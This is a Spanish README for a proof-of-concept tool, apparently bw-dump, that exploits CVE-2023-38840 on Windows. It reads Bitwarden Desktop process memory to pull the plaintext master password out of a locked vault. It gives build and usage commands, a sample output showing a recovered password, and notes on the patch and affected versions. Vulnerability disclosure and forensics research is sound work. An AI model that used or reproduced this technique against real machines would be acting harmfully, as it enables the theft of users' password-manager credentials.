
Una prueba de concepto para (CVE-2023-38840) que extrae contraseñas maestras en texto plano desde una bóveda bloqueada de Bitwarden.
Actualización 2: Esta vulnerabilidad fue asignada CVE-2023-38840.
Actualización: Se publicó un parche en la solicitud de pull de GitHub (5813) que corrige la vulnerabilidad. Las versiones afectadas son Bitwarden Desktop 2023.7.0 y anteriores.
Una herramienta de prueba de concepto que extrae la contraseña maestra de una bóveda de Bitwarden bloqueada (debe haberse desbloqueado al menos una vez) desde sistemas Windows. Solo funciona para la sesión actual, lo que significa que no funcionará después de un reinicio del sistema. NO se requieren privilegios de administrador.
Se publicó un blog disponible en: https://redmaple.tech/blogs/2023/extract-bitwarden-vault-passwords/
Una breve demostración del uso de bw-dump con Microsoft Edge y la extensión del navegador Bitwarden. La herramienta más reciente solo funciona en Bitwarden Desktop.
https://user-images.githubusercontent.com/9108334/191377244-f0e9a123-e4f0-43b0-90b5-697fc005ae7b.mov
Advertencia: ¡Windows Defender reportará el binario compilado como malicioso!
Para compilar un binario sin símbolos, escriba:
go build -ldflags="-s -w"
Para compilar en un sistema Linux, escriba:
env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
Simplemente compile y ejecute el binario. NO requiere derechos de administrador. Asegúrese de que el proceso de Bitwarden esté en ejecución. Además, la bóveda debe haberse desbloqueado al menos una vez. Después de eso, la contraseña maestra se almacenará en la memoria durante un período de tiempo.
También puede pasar la opción -d para volcar regiones de memoria cuando se encuentra un patrón. Para cada resultado, se crea un archivo dump-pid-<PID>-<MEM-REGION>.hex en el directorio de trabajo actual.
Ejemplo de salida
PS C:\Users\Tester\dev\go\bw-dump> bw-dump.exe
888 88b, Y8b Y8b Y888P 888 88e
888 88P' Y8b Y8b Y8P 888 888b 8888 8888 888 888 8e 888 88e
888 8K Y8b Y8b Y 888 888 8888D 8888 8888 888 888 88b 888 888b
888 88b, Y8b Y8b 888 888P Y888 888P 888 888 888 888 888P
888 88P' Y8P Y 888 88" "88 88" 888 888 888 888 88"
888
Created by @NazMarkuta at Red Maple 888
BW-Dump is a Windows forensics tool that extracts Bitwarden master passwords from locked vaults
(must be unlocked at least once) by reading process memory using Windows API functions which
searches for magic byte patterns. The tool doesn't require any special (admin) permissions.
Now supports Bitwarden Desktop App (v2023.1.1) running on Windows 10 or 11. The tool (may)
still support older Bitwarden Chromium extension versions (v2022.6.0) and below.
[+] Searching for processes...
[+] PID: 4228
[+] EXEName: Bitwarden.exe
[+] CMDLine: "C:\Users\Tester\AppData\Local\Programs\Bitwarden\Bitwarden.exe" --type=renderer --user-data-dir="C:\Users\Tester\AppData\Roaming\Bitwarden" --app-path="C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1675782335888921 --launch-time-ticks=4007177473 --mojo-platform-channel-handle=2508 --field-trial-handle=1792,i,3673052334935287551,6849534636950916074,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
[+] Searching PID memory (4228)
[+] Found pattern at MemBaseAddr (0xb0800554000)
[+] Found password prefix bytes at offset (0xc121)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb0800a8c000)
[+] Found password prefix bytes at offset (0x1104)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb08014bc000)
[+] Found password prefix bytes at offset (0x62aa)
[+] Password recovered: "SUPER-SECURE-password8"
PS C:\Users\Tester\dev\go\bw-dump>
Hay dos formas (probablemente más) de eliminar la contraseña maestra de la memoria:
Bitwarden.exe con lo cual Windows debería hacer algo de recolección de basura.